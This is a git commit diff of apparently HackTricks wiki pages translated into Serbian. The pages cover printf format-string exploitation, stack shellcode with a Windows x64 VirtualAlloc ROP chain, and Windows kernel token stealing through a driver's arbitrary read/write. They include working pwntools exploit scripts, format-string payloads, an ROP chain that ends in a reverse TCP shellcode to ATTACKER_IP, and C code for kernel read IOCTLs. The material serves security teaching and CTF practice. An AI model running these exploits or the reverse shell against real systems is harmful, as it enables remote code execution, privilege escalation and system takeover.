Translated ['src/binary-exploitation/stack-overflow/stack-shellcode/READ

This commit is contained in:
Translator 2025-08-28 16:54:12 +00:00
parent cd771ab842
commit 9d90568496
5 changed files with 692 additions and 437 deletions

View File

@ -234,6 +234,7 @@
- [Authentication Credentials Uac And Efs](windows-hardening/authentication-credentials-uac-and-efs.md)
- [Checklist - Local Windows Privilege Escalation](windows-hardening/checklist-windows-privilege-escalation.md)
- [Windows Local Privilege Escalation](windows-hardening/windows-local-privilege-escalation/README.md)
- [Arbitrary Kernel Rw Token Theft](windows-hardening/windows-local-privilege-escalation/arbitrary-kernel-rw-token-theft.md)
- [Dll Hijacking](windows-hardening/windows-local-privilege-escalation/dll-hijacking.md)
- [Abusing Tokens](windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens.md)
- [Access Tokens](windows-hardening/windows-local-privilege-escalation/access-tokens.md)

View File

@ -3,15 +3,15 @@
{{#include ../../banners/hacktricks-training.md}}
## Osnovne Informacije
## Osnovne informacije
U C **`printf`** je funkcija koja se može koristiti za **štampanje** nekog stringa. **Prvi parametar** koji ova funkcija očekuje je **sirovi tekst sa formatima**. **Sledeći parametri** koji se očekuju su **vrednosti** za **zamenu** **formata** iz sirovog teksta.
U C-u **`printf`** je funkcija koja se može koristiti za **ispis** stringa. Prvi **parametar** koji ova funkcija očekuje je **sirovi tekst sa formatterima**. Sledeći **parametri** su **vrednosti** koje će **zameniti** formattere iz sirovog teksta.
Druge ranjive funkcije su **`sprintf()`** i **`fprintf()`**.
Ostale ranjive funkcije su **`sprintf()`** i **`fprintf()`**.
Ranjivost se pojavljuje kada se **tekst napadača koristi kao prvi argument** ovoj funkciji. Napadač će moći da kreira **poseban unos koji zloupotrebljava** **printf format** string mogućnosti da čita i **piše bilo koje podatke na bilo kojoj adresi (čitljivo/pisivo)**. Na ovaj način će moći da **izvrši proizvoljan kod**.
Ranljivost nastaje kada se kao **prvi argument** ovoj funkciji prosledi tekst koji kontroliše napadač. Napadač može da kreira **poseban ulaz koji zloupotrebljava** **printf format** string mogućnosti da pročita i **zapiše bilo koje podatke na bilo kojoj adresi (može se čitati/pisati)**. Na taj način se može postići **izvršavanje proizvoljnog koda**.
#### Formati:
#### Formateri:
```bash
%08x —> 8 hex bytes
%d —> Entire
@ -24,13 +24,13 @@ Ranjivost se pojavljuje kada se **tekst napadača koristi kao prvi argument** ov
```
**Primeri:**
- Ranjiv primer:
- Ranljiv primer:
```c
char buffer[30];
gets(buffer); // Dangerous: takes user input without restrictions.
printf(buffer); // If buffer contains "%x", it reads from the stack.
```
- Normalna upotreba:
- Uobičajena upotreba:
```c
int value = 1205;
printf("%x %x %x", value, value, value); // Outputs: 4b5 4b5 4b5
@ -52,28 +52,28 @@ fclose(output_file);
return 0;
}
```
### **Pristupanje Pokazivačima**
### **Pristupanje pokazivačima**
Format **`%<n>$x`**, gde je `n` broj, omogućava da se printf-u naznači da izabere n-ti parametar (sa steka). Dakle, ako želite da pročitate 4. parametar sa steka koristeći printf, mogli biste to uraditi:
Format **`%<n>$x`**, gde je `n` broj, omogućava printf-u da izabere n-ti parametar (sa steka). Dakle, ako želite da pročitate četvrti parametar sa steka koristeći printf, možete uraditi:
```c
printf("%x %x %x %x")
```
и могли бисте читати од првог до четвртог параметра.
i pročitao bi od prvog do četvrtog parametra.
Или бисте могли да урадите:
Ili možete uraditi:
```c
printf("%4$x")
```
i direktno pročitajte četvrti.
i direktno pročitati četvrtu poziciju.
Obratite pažnju da napadač kontroliše `printf` **parametar, što u osnovi znači da** će njegov unos biti u steku kada se pozove `printf`, što znači da bi mogao da upiše specifične memorijske adrese u stek.
Primetite da napadač kontroliše `printf` **parametar, što u suštini znači da** njegov unos će biti u stacku kada se `printf` pozove, što znači da bi mogao upisati specifične memorijske adrese u stack.
> [!CAUTION]
> Napadač koji kontroliše ovaj unos, moći će da **doda proizvoljnu adresu u stek i natera `printf` da im pristupi**. U sledećem odeljku biće objašnjeno kako koristiti ovo ponašanje.
> Napadač koji kontroliše ovaj unos biće u mogućnosti da **doda proizvoljne adrese u stack i natera `printf` da im pristupi**. U narednom odeljku biće objašnjeno kako iskoristiti ovo ponašanje.
## **Proizvoljno Čitanje**
## **Arbitrary Read**
Moguće je koristiti formatirator **`%n$s`** da nateramo **`printf`** da dobije **adresu** koja se nalazi na **n poziciji**, nakon nje i **odštampa je kao da je to string** (štampanje dok se ne pronađe 0x00). Dakle, ako je osnovna adresa binarnog fajla **`0x8048000`**, i znamo da korisnički unos počinje na 4. poziciji u steku, moguće je odštampati početak binarnog fajla sa:
Moguće je koristiti formatter **`%n$s`** da se natera **`printf`** da uzme **adresu** koja se nalazi na **n-toj poziciji**, da joj pristupi i **ispise je kao da je string** (ispisuje dok se ne naiđe na 0x00). Dakle, ako je baza binarnog fajla **`0x8048000`**, i znamo da korisnički unos počinje na 4. poziciji na stacku, moguće je ispisati početak binarija sa:
```python
from pwn import *
@ -87,11 +87,11 @@ p.sendline(payload)
log.info(p.clean()) # b'\x7fELF\x01\x01\x01||||'
```
> [!CAUTION]
> Imajte na umu da ne možete staviti adresu 0x8048000 na početak ulaza jer će string biti prekinut u 0x00 na kraju te adrese.
> Imajte na umu da ne možete staviti adresu 0x8048000 na početak inputa jer će string biti cat u 0x00 na kraju te adrese.
### Pronađi offset
### Pronađite offset
Da biste pronašli offset za vaš ulaz, možete poslati 4 ili 8 bajtova (`0x41414141`) praćeno sa **`%1$x`** i **povećavati** vrednost dok ne dobijete `A's`.
Da biste pronašli offset do vašeg inputa, možete poslati 4 ili 8 bajtova (`0x41414141`) praćeno sa **`%1$x`** i **povećavati** vrednost dok ne dobijete `A's`.
<details>
@ -128,37 +128,38 @@ p.close()
### Koliko je korisno
Arbitrarna čitanja mogu biti korisna za:
Arbitrary reads mogu biti korisni za:
- **Dump** **binarne** datoteke iz memorije
- **Pristup specifičnim delovima memorije gde je smeštena** **osetljiva** **informacija** (kao što su kanari, ključevi za enkripciju ili prilagođene lozinke kao u ovom [**CTF izazovu**](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak#read-arbitrary-value))
- **Dump** the **binary** iz memorije
- **Pristup specifičnim delovima memorije gde se čuva osetljiva** **info** (kao što su canaries, encryption keys ili custom passwords kao u ovom [**CTF challenge**](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak#read-arbitrary-value))
## **Arbitrarno Pisanje**
## **Arbitrary Write**
Formatirac **`%<num>$n`** **piše** **broj napisanih bajtova** u **naznačenoj adresi** u \<num> parametru na steku. Ako napadač može da piše onoliko karaktera koliko želi sa printf, moći će da natera **`%<num>$n`** da upiše proizvoljan broj na proizvoljnu adresu.
Formatter **`%<num>$n`** **upisuje** **broj napisanih bajtova** u **naznačenu adresu** preko <num> parametra na steku. Ako napadač može da upiše proizvoljan broj karaktera pomoću printf, moći će da natera **`%<num>$n`** da upiše proizvoljan broj u proizvoljnu adresu.
Na sreću, da bi se napisao broj 9999, nije potrebno dodavati 9999 "A" u ulaz, da bi se to postiglo moguće je koristiti formatirac **`%.<num-write>%<num>$n`** da bi se napisao broj **`<num-write>`** u **adresu koju pokazuje `num` pozicija**.
Srećom, da biste upisali broj 9999 nije potrebno dodavati 9999 "A"-ova u input; umesto toga moguće je koristiti formatter **`%.<num-write>%<num>$n`** da se upiše broj **`<num-write>`** u **adresu na koju pokazuje pozicija `num`**.
```bash
AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param
AAAA.%500\$08x —> Param at offset 500
```
Međutim, imajte na umu da se obično za pisanje adrese kao što je `0x08049724` (što je OGROMAN broj za pisanje odjednom), **koristi `$hn`** umesto `$n`. Ovo omogućava da **se napiše samo 2 Bajte**. Stoga se ova operacija vrši dva puta, jednom za najviših 2B adrese i drugi put za najniže.
Međutim, imajte na umu da se obično, da bi se upisala adresa kao što je `0x08049724` (što je OGROMAN broj za upis odjednom), koristi **$hn** umesto **$n**. To omogućava da se napišu **samo 2 bajta**. Stoga se ova operacija obavlja dvaput: jednom za najviša 2B adrese i drugi put za najniže.
Zbog toga, ova ranjivost omogućava **pisanje bilo čega na bilo koju adresu (arbitrarno pisanje).**
Dakle, ova ranjivost omogućava da se **upiše bilo šta na bilo koju adresu (arbitrary write).**
U ovom primeru, cilj će biti da se **prepiše** **adresa** neke **funkcije** u **GOT** tabeli koja će biti pozvana kasnije. Iako bi se ovo moglo zloupotrebiti i drugim arbitrary write to exec tehnikama:
U ovom primeru, cilj će biti da se **prepiše** **adresa** **funkcije** u **GOT** tabeli koja će biti pozvana kasnije. Iako bi ovo moglo zloupotrebiti druge tehnike arbitrarnih pisanja za izvršavanje:
{{#ref}}
../arbitrary-write-2-exec/
{{#endref}}
Prepisujemo **funkciju** koja **prima** svoje **argumente** od **korisnika** i **upućujemo** je na **`system`** **funkciju**.\
Kao što je pomenuto, za pisanje adrese obično su potrebna 2 koraka: Prvo **se pišu 2Bajta** adrese, a zatim ostala 2. Da bi se to uradilo, koristi se **`$hn`**.
Preći ćemo na **prepisivanje** **funkcije** koja **prima** svoje **argumente** od **korisnika** i usmeriti je na **`system`** **funkciju**.\
Kao što je pomenuto, za upis adrese obično su potrebna 2 koraka: prvo se **upišu 2 bajta** adrese, a zatim i preostala 2. Za to se koristi **`$hn`**.
- **HOB** se poziva za 2 viša bajta adrese
- **LOB** se poziva za 2 niža bajta adrese
- **HOB** se odnosi na 2 najviša bajta adrese
- **LOB** se odnosi na 2 najniža bajta adrese
Zatim, zbog načina na koji funkcioniše format string, potrebno je **prvo napisati manji** od \[HOB, LOB] i zatim drugi.
Zatim, zbog načina na koji format string funkcioniše, potrebno je prvo **upisati manji** od [HOB, LOB] i zatim drugi.
Ako je HOB < LOB\
`[address+2][address]%.[HOB-8]x%[offset]\$hn%.[LOB-HOB]x%[offset+1]`
@ -170,16 +171,16 @@ HOB LOB HOB_shellcode-8 NºParam_dir_HOB LOB_shell-HOB_shell NºParam_dir_LOB
```bash
python -c 'print "\x26\x97\x04\x08"+"\x24\x97\x04\x08"+ "%.49143x" + "%4$hn" + "%.15408x" + "%5$hn"'
```
### Pwntools Template
### Pwntools šablon
Možete pronaći **šablon** za pripremu eksploita za ovu vrstu ranjivosti u:
Možete pronaći **šablon** za pripremu exploit-a za ovu vrstu ranjivosti u:
{{#ref}}
format-strings-template.md
{{#endref}}
Ili ovaj osnovni primer iz [**ovde**](https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite):
Ili ovaj osnovni primer sa [**here**](https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite):
```python
from pwn import *
@ -200,18 +201,59 @@ p.interactive()
```
## Format Strings to BOF
Moguće je zloupotrebiti akcije pisanja u ranjivosti format stringa da **pišu u adrese steka** i iskoriste ranjivost tipa **buffer overflow**.
Moguće je zloupotrebiti write akcije format string ranjivosti da se **upiše u adrese stack-a** i iskoristi tip ranjivosti **buffer overflow**.
## Other Examples & References
## Windows x64: Format-string leak to bypass ASLR (no varargs)
Na Windows x64 prva četiri integer/pointer parametra se prosleđuju u registrima: RCX, RDX, R8, R9. U mnogim buggy call-sites string kojim upravlja napadač koristi se kao format argument, ali nisu prosleđeni variadic arguments, na primer:
```c
// keyData is fully controlled by the client
// _snprintf(dst, len, fmt, ...)
_snprintf(keyStringBuffer, 0xff2, (char*)keyData);
```
Pošto se ne prosleđuju varargs, bilo koja konverzija poput "%p", "%x", "%s" nateraće CRT da pročita sledeći variadic argument iz odgovarajućeg registra. Sa Microsoft x64 calling convention prvi takav read za "%p" dolazi iz R9. Bilo koja tranzijentna vrednost koja se nalazi u R9 na mestu poziva biće odštampana. U praksi ovo često leaks a stable in-module pointer (npr. pokazivač na lokalni/globalni objekat ranije postavljen u R9 od strane okolnog koda ili callee-saved vrednosti), koji se može iskoristiti za povraćaj module base i zaobilaženje ASLR.
Praktičan workflow:
- Inject a harmless format such as "%p " at the very start of the attacker-controlled string so the first conversion executes before any filtering.
- Capture the leaked pointer, identify the static offset of that object inside the module (by reversing once with symbols or a local copy), and recover the image base as `leak - known_offset`.
- Reuse that base to compute absolute addresses for ROP gadgets and IAT entries remotely.
Example (abbreviated python):
```python
from pwn import remote
# Send an input that the vulnerable code will pass as the "format"
fmt = b"%p " + b"-AAAAA-BBB-CCCC-0252-" # leading %p leaks R9
io = remote(HOST, 4141)
# ... drive protocol to reach the vulnerable snprintf ...
leaked = int(io.recvline().split()[2], 16) # e.g. 0x7ff6693d0660
base = leaked - 0x20660 # module base = leak - offset
print(hex(leaked), hex(base))
```
Napomene:
- Tačan offset koji treba oduzeti se pronađe jednom tokom lokalnog reversing-a i zatim se ponovo koristi (isti binary/version).
- Ako "%p" ne ispiše validan pointer pri prvom pokušaju, probajte druge specifiers ("%llx", "%s") ili višestruke konverzije ("%p %p %p") da biste uzorkovali druge argument registers/stack.
- Ovaj obrazac je specifičan za Windows x64 calling convention i printf-family implementacije koje dohvataju nepostojeće varargs iz registers kada format string to zahteva.
Ova tehnika je izuzetno korisna za bootstrap ROP na Windows services koje su kompajlirane sa ASLR i bez očiglednih memory disclosure primitives.
## Drugi primeri & reference
- [https://ir0nstone.gitbook.io/notes/types/stack/format-string](https://ir0nstone.gitbook.io/notes/types/stack/format-string)
- [https://www.youtube.com/watch?v=t1LH9D5cuK4](https://www.youtube.com/watch?v=t1LH9D5cuK4)
- [https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak)
- [https://guyinatuxedo.github.io/10-fmt_strings/pico18_echo/index.html](https://guyinatuxedo.github.io/10-fmt_strings/pico18_echo/index.html)
- 32 bit, no relro, no canary, nx, no pie, osnovna upotreba format stringova za curenje zastavice iz steka (nije potrebno menjati tok izvršenja)
- 32 bit, no relro, no canary, nx, no pie, basic use of format strings to leak the flag from the stack (no need to alter the execution flow)
- [https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html](https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html)
- 32 bit, relro, no canary, nx, no pie, format string za prepisivanje adrese `fflush` sa funkcijom win (ret2win)
- 32 bit, relro, no canary, nx, no pie, format string to overwrite the address `fflush` with the win function (ret2win)
- [https://guyinatuxedo.github.io/10-fmt_strings/tw16_greeting/index.html](https://guyinatuxedo.github.io/10-fmt_strings/tw16_greeting/index.html)
- 32 bit, relro, no canary, nx, no pie, format string za pisanje adrese unutar main u `.fini_array` (tako da se tok vraća još jednom) i pisanje adrese u `system` u GOT tabeli koja pokazuje na `strlen`. Kada se tok vrati u main, `strlen` se izvršava sa korisničkim unosom i pokazuje na `system`, izvršiće prosleđene komande.
- 32 bit, relro, no canary, nx, no pie, format string za upis adrese unutar main u `.fini_array` (tako da tok izvršavanja napravi još jedno vraćanje) i upis adrese u `system` u GOT tabelu koja pokazuje na `strlen`. Kada tok izvršavanja ponovo ode u main, `strlen` se izvršava sa korisničkim inputom i, pošto pokazuje na `system`, izvršiće prosleđene komande.
## References
- [HTB Reaper: Format-string leak + stack BOF → VirtualAlloc ROP (RCE)](https://0xdf.gitlab.io/2025/08/26/htb-reaper.html)
- [x64 calling convention (MSVC)](https://learn.microsoft.com/en-us/cpp/build/x64-calling-convention)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -2,13 +2,13 @@
{{#include ../../../banners/hacktricks-training.md}}
## Osnovne Informacije
## Osnovne informacije
**Stack shellcode** je tehnika koja se koristi u **binary exploitation** gde napadač piše shellcode na stek ranjivog programa, a zatim menja **Instruction Pointer (IP)** ili **Extended Instruction Pointer (EIP)** da pokazuje na lokaciju ovog shellcode-a, uzrokujući njegovo izvršavanje. Ovo je klasična metoda koja se koristi za sticanje neovlašćenog pristupa ili izvršavanje proizvoljnih komandi na ciljanom sistemu. Evo pregleda procesa, uključujući jednostavan C primer i kako biste mogli napisati odgovarajući exploit koristeći Python sa **pwntools**.
**Stack shellcode** je tehnika koja se koristi u **binary exploitation** gde napadač upisuje shellcode na stack ranjivog programa, a zatim menja **Instruction Pointer (IP)** ili **Extended Instruction Pointer (EIP)** da pokaže na lokaciju tog shellcode-a, izazivajući njegovo izvršavanje. Ovo je klasična metoda koja se koristi za sticanje neovlašćenog pristupa ili izvršavanje proizvoljnih komandi na ciljanom sistemu. U nastavku sledi razlaganje procesa, uključujući jednostavan C primer i kako biste mogli napisati odgovarajući exploit koristeći Python sa **pwntools**.
### C Primer: Ranjivi Program
### C primer: Ranljiv program
Hajde da počnemo sa jednostavnim primerom ranjivog C programa:
Počnimo sa jednostavnim primerom ranljivog C programa:
```c
#include <stdio.h>
#include <string.h>
@ -24,22 +24,22 @@ printf("Returned safely\n");
return 0;
}
```
Ovaj program je podložan prelivanju bafera zbog korišćenja `gets()` funkcije.
Ovaj program je ranjiv na buffer overflow zbog upotrebe funkcije `gets()`.
### Kompilacija
Da biste kompajlirali ovaj program dok onemogućavate razne zaštite (da simulirate ranjivo okruženje), možete koristiti sledeću komandu:
Da biste kompajlirali ovaj program dok onemogućavate različite zaštite (da biste simulirali ranjivo okruženje), možete koristiti sledeću komandu:
```sh
gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
```
- `-fno-stack-protector`: Onemogućava zaštitu steka.
- `-z execstack`: Čini stek izvršivim, što je neophodno za izvršavanje shellcode-a smeštenog na steku.
- `-no-pie`: Onemogućava poziciono nezavisne izvršne datoteke, olakšavajući predviđanje memorijske adrese na kojoj će se nalaziti naš shellcode.
- `-m32`: Kompajlira program kao 32-bitnu izvršnu datoteku, često korišćenu zbog jednostavnosti u razvoju eksploata.
- `-z execstack`: Čini stek izvršnim, što je neophodno za izvršavanje shellcode-a smeštenog na steku.
- `-no-pie`: Onemogućava Position Independent Executable, što olakšava predviđanje memorijske adrese gde će se nalaziti naš shellcode.
- `-m32`: Kompajlira program kao 32-bitni izvršni fajl, često korišćen radi jednostavnosti u razvoju exploita.
### Python Exploit using Pwntools
### Python exploit koristeći Pwntools
Evo kako možete napisati exploit u Python-u koristeći **pwntools** za izvođenje **ret2shellcode** napada:
Evo kako biste mogli napisati exploit u Pythonu koristeći **pwntools** da izvedete **ret2shellcode** napad:
```python
from pwn import *
@ -66,26 +66,98 @@ payload += p32(0xffffcfb4) # Supossing 0xffffcfb4 will be inside NOP slide
p.sendline(payload)
p.interactive()
```
Ovaj skript konstruira payload koji se sastoji od **NOP slide**, **shellcode**, a zatim prepisuje **EIP** sa adresom koja pokazuje na NOP slide, osiguravajući da se shellcode izvrši.
Ovaj skript konstruiše payload koji se sastoji od **NOP slide**, **shellcode**, i potom prepisuje **EIP** adresom koja pokazuje na NOP slide, osiguravajući da se shellcode izvrši.
**NOP slide** (`asm('nop')`) se koristi za povećanje šanse da će izvršenje "kliznuti" u naš shellcode bez obzira na tačnu adresu. Prilagodite `p32()` argument na početnu adresu vašeg bafera plus pomeraj da biste sleteli u NOP slide.
The **NOP slide** (`asm('nop')`) se koristi da poveća verovatnoću da izvršavanje "slide"-uje u naš shellcode bez obzira na tačnu adresu. Podesite `p32()` argument na početnu adresu vašeg buffera plus offset da biste dospeli u NOP slide.
## Protekcije
## Windows x64: Bypass NX with VirtualAlloc ROP (ret2stack shellcode)
- [**ASLR**](../../common-binary-protections-and-bypasses/aslr/index.html) **treba da bude onemogućen** da bi adresa bila pouzdana tokom izvršenja ili adresa na kojoj će funkcija biti smeštena neće uvek biti ista i biće vam potrebna neka leak da biste saznali gde je win funkcija učitana.
- [**Stack Canaries**](../../common-binary-protections-and-bypasses/stack-canaries/index.html) takođe treba da budu onemogućeni ili prepisana EIP adresa za povratak nikada neće biti praćena.
- [**NX**](../../common-binary-protections-and-bypasses/no-exec-nx.md) **stack** zaštita bi sprečila izvršenje shellcode unutar steka jer ta oblast neće biti izvršna.
Na modernim Windows sistemima stack nije izvršiv (DEP/NX). Uobičajen način da se ipak izvrši stack-resident shellcode nakon stack BOF je izgradnja 64-bit ROP chain-a koji poziva VirtualAlloc (ili VirtualProtect) iz modula Import Address Table (IAT) da bi se regija stack-a označila kao izvršiva, a zatim se vraća u shellcode dodat nakon chain-a.
## Ostali Primeri & Reference
Ključne tačke (Win64 calling convention):
- VirtualAlloc(lpAddress, dwSize, flAllocationType, flProtect)
- RCX = lpAddress → izaberite adresu u trenutnom stack-u (npr. RSP) tako da novo alocirana RWX regija preklopi vaš payload
- RDX = dwSize → dovoljno velika za vaš chain + shellcode (npr. 0x1000)
- R8 = flAllocationType = MEM_COMMIT (0x1000)
- R9 = flProtect = PAGE_EXECUTE_READWRITE (0x40)
- Return direktno u shellcode postavljen odmah posle chain-a.
Minimalna strategija:
1) Leak a module base (npr. preko format-string, object pointer, itd.) da biste izračunali apsolutne gadget i IAT adrese pod ASLR-om.
2) Pronađite gadget-e koji učitavaju RCX/RDX/R8/R9 (pop ili mov/xor-bazirane sekvence) i call/jmp [VirtualAlloc@IAT]. Ako nemate direktan pop r8/r9, koristite arithmetic gadget-e da sintetizujete konstante (npr. postavite r8=0 i ponovo dodajte r9=0x40 četrdeset puta da biste došli do 0x1000).
3) Postavite stage-2 shellcode odmah nakon chain-a.
Example layout (conceptual):
```
# ... padding up to saved RIP ...
# R9 = 0x40 (PAGE_EXECUTE_READWRITE)
POP_R9_RET; 0x40
# R8 = 0x1000 (MEM_COMMIT) — if no POP R8, derive via arithmetic
POP_R8_RET; 0x1000
# RCX = &stack (lpAddress)
LEA_RCX_RSP_RET # or sequence: load RSP into a GPR then mov rcx, reg
# RDX = size (dwSize)
POP_RDX_RET; 0x1000
# Call VirtualAlloc via the IAT
[IAT_VirtualAlloc]
# New RWX memory at RCX — execution continues at the next stack qword
JMP_SHELLCODE_OR_RET
# ---- stage-2 shellcode (x64) ----
```
Sa ograničenim gadget set-om, možete indirektno konstruisati vrednosti registara, na primer:
- mov r9, rbx; mov r8, 0; add rsp, 8; ret → postavi r9 iz rbx, postavi r8 na 0 i kompenzuj stek jednim junk qword-om.
- xor rbx, rsp; ret → inicijalizuje rbx vrednošću trenutnog pokazivača steka.
- push rbx; pop rax; mov rcx, rax; ret → prebaci vrednost izvedenu iz RSP u RCX.
Pwntools skica (uz poznatu osnovnu adresu i gadgets):
```python
from pwn import *
base = 0x7ff6693b0000
IAT_VirtualAlloc = base + 0x400000 # example: resolve via reversing
rop = b''
# r9 = 0x40
rop += p64(base+POP_RBX_RET) + p64(0x40)
rop += p64(base+MOV_R9_RBX_ZERO_R8_ADD_RSP_8_RET) + b'JUNKJUNK'
# rcx = rsp
rop += p64(base+POP_RBX_RET) + p64(0)
rop += p64(base+XOR_RBX_RSP_RET)
rop += p64(base+PUSH_RBX_POP_RAX_RET)
rop += p64(base+MOV_RCX_RAX_RET)
# r8 = 0x1000 via arithmetic if no pop r8
for _ in range(0x1000//0x40):
rop += p64(base+ADD_R8_R9_ADD_RAX_R8_RET)
# rdx = 0x1000 (use any available gadget)
rop += p64(base+POP_RDX_RET) + p64(0x1000)
# call VirtualAlloc and land in shellcode
rop += p64(IAT_VirtualAlloc)
rop += asm(shellcraft.amd64.windows.reverse_tcp("ATTACKER_IP", ATTACKER_PORT))
```
Tips:
- VirtualProtect radi slično ako je poželjno da postojeći buffer učinite RX; redosled parametara je drugačiji.
- Ako je prostor na stack-u ograničen, alocirajte RWX negde drugde (RCX=NULL) i jmp na taj novi region umesto ponovnog korišćenja stack-a.
- Uvek uzmite u obzir gadgets koji menjaju RSP (npr., add rsp, 8; ret) ubacivanjem junk qwords.
- [**ASLR**](../../common-binary-protections-and-bypasses/aslr/index.html) **should be disabled** da bi adresa bila pouzdana između izvršenja — inače adresa gde će funkcija biti smeštena neće uvek biti ista i trebalo bi da imate neki leak kako biste utvrdili gde je win function učitana.
- [**Stack Canaries**](../../common-binary-protections-and-bypasses/stack-canaries/index.html) treba takođe da budu onemogućene, inače kompromitovani EIP return address nikada neće biti iskorišćen.
- [**NX**](../../common-binary-protections-and-bypasses/no-exec-nx.md) **stack** zaštita bi sprečila izvršavanje shellcode-a unutar stack-a jer taj region neće biti izvršan.
## Other Examples & References
- [https://ir0nstone.gitbook.io/notes/types/stack/shellcode](https://ir0nstone.gitbook.io/notes/types/stack/shellcode)
- [https://guyinatuxedo.github.io/06-bof_shellcode/csaw17_pilot/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/csaw17_pilot/index.html)
- 64bit, ASLR sa leak-om adrese steka, upisivanje shellcode i skakanje na njega
- 64bit, ASLR sa stack address leak, pisanje shellcode-a i jmp na njega
- [https://guyinatuxedo.github.io/06-bof_shellcode/tamu19_pwn3/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/tamu19_pwn3/index.html)
- 32 bit, ASLR sa leak-om steka, upisivanje shellcode i skakanje na njega
- 32 bit, ASLR sa stack leak, pisanje shellcode-a i jmp na njega
- [https://guyinatuxedo.github.io/06-bof_shellcode/tu18_shellaeasy/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/tu18_shellaeasy/index.html)
- 32 bit, ASLR sa leak-om steka, poređenje da se spreči poziv na exit(), prepisivanje promenljive sa vrednošću i upisivanje shellcode i skakanje na njega
- 32 bit, ASLR sa stack leak, poređenje da bi se sprečio poziv exit(), prepisivanje promenljive vrednošću i pisanje shellcode-a i jmp na njega
- [https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/](https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/)
- arm64, bez ASLR, ROP gadget za omogućavanje izvršenja steka i skakanje na shellcode u steku
- arm64, bez ASLR, ROP gadget da učini stack izvršnim i jmp na shellcode u stack-u
## References
- [HTB Reaper: Format-string leak + stack BOF → VirtualAlloc ROP (RCE)](https://0xdf.gitlab.io/2025/08/26/htb-reaper.html)
- [VirtualAlloc documentation](https://learn.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualalloc)
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -0,0 +1,122 @@
# Windows kernel EoP: Token stealing with arbitrary kernel R/W
{{#include ../../banners/hacktricks-training.md}}
## Pregled
Ako ranjivi driver izlaže IOCTL koji napadaču daje proizvoljne kernel read i/ili write primitivе, elevacija na NT AUTHORITY\SYSTEM se često može postići krađom SYSTEM access tokena. Tehnika kopira Token pokazivač iz SYSTEM procesa EPROCESS u trenutni proces EPROCESS.
Zašto radi:
- Svaki process ima EPROCESS strukturu koja sadrži (između ostalog) Token (zapravo EX_FAST_REF ka token objektu).
- SYSTEM proces (PID 4) drži token sa svim privilegijama uključenim.
- Zamena trenutnog process EPROCESS.Token sa SYSTEM token pokazivačem odmah čini da trenutni proces radi kao SYSTEM.
> Offsets u EPROCESS variraju između verzija Windowsa. Odredite ih dinamički (symbols) ili koristite constants specifične za verziju. Takođe zapamtite da je EPROCESS.Token EX_FAST_REF (donja 3 bita su flagovi za reference count).
## Koraci na visokom nivou
1) Pronađite ntoskrnl.exe base i rešite adresu PsInitialSystemProcess.
- Iz user mode-a, koristite NtQuerySystemInformation(SystemModuleInformation) ili EnumDeviceDrivers da dobijete učitane driver baze.
- Dodajte offset PsInitialSystemProcess (iz symbols/reversing) na kernel base da biste dobili njegovu adresu.
2) Pročitajte pokazivač na PsInitialSystemProcess → ovo je kernel pokazivač na SYSTEM-ov EPROCESS.
3) Iz SYSTEM EPROCESS-a, pročitajte UniqueProcessId i ActiveProcessLinks offset-e da biste prešli dvostruko povezanu listu EPROCESS struktura (ActiveProcessLinks.Flink/Blink) dok ne nađete EPROCESS čiji je UniqueProcessId jednak GetCurrentProcessId(). Sačuvajte oba:
- EPROCESS_SYSTEM (za SYSTEM)
- EPROCESS_SELF (za trenutni proces)
4) Pročitajte SYSTEM token vrednost: Token_SYS = *(EPROCESS_SYSTEM + TokenOffset).
- Maskirajte donja 3 bita: Token_SYS_masked = Token_SYS & ~0xF (obično ~0xF ili ~0x7 u zavisnosti od build-a; na x64 donja 3 bita se koriste — 0xFFFFFFFFFFFFFFF8 maska).
5) Opcija A (uobičajeno): Sačuvajte donja 3 bita iz vašeg trenutnog tokena i spojite ih na SYSTEM-ov pokazivač da biste održali ugrađeni ref count konzistentnim.
- Token_ME = *(EPROCESS_SELF + TokenOffset)
- Token_NEW = (Token_SYS_masked | (Token_ME & 0x7))
6) Zapišite Token_NEW nazad u (EPROCESS_SELF + TokenOffset) koristeći vaš kernel write primitiv.
7) Vaš trenutni proces je sada SYSTEM. Po želji pokrenite novi cmd.exe ili powershell.exe da potvrdite.
## Pseudokod
Ispod je kostur koji koristi samo dva IOCTL-a iz ranjivog driver-a, jedan za 8-byte kernel read i jedan za 8-byte kernel write. Zamenite sa interfejsom vašeg drajvera.
```c
#include <Windows.h>
#include <Psapi.h>
#include <stdint.h>
// Device + IOCTLs are driver-specific
#define DEV_PATH "\\\\.\\VulnDrv"
#define IOCTL_KREAD CTL_CODE(FILE_DEVICE_UNKNOWN, 0x801, METHOD_BUFFERED, FILE_ANY_ACCESS)
#define IOCTL_KWRITE CTL_CODE(FILE_DEVICE_UNKNOWN, 0x802, METHOD_BUFFERED, FILE_ANY_ACCESS)
// Version-specific (examples only resolve per build!)
static const uint32_t Off_EPROCESS_UniquePid = 0x448; // varies
static const uint32_t Off_EPROCESS_Token = 0x4b8; // varies
static const uint32_t Off_EPROCESS_ActiveLinks = 0x448 + 0x8; // often UniquePid+8, varies
BOOL kread_qword(HANDLE h, uint64_t kaddr, uint64_t *out) {
struct { uint64_t addr; } in; struct { uint64_t val; } outb; DWORD ret;
in.addr = kaddr; return DeviceIoControl(h, IOCTL_KREAD, &in, sizeof(in), &outb, sizeof(outb), &ret, NULL) && (*out = outb.val, TRUE);
}
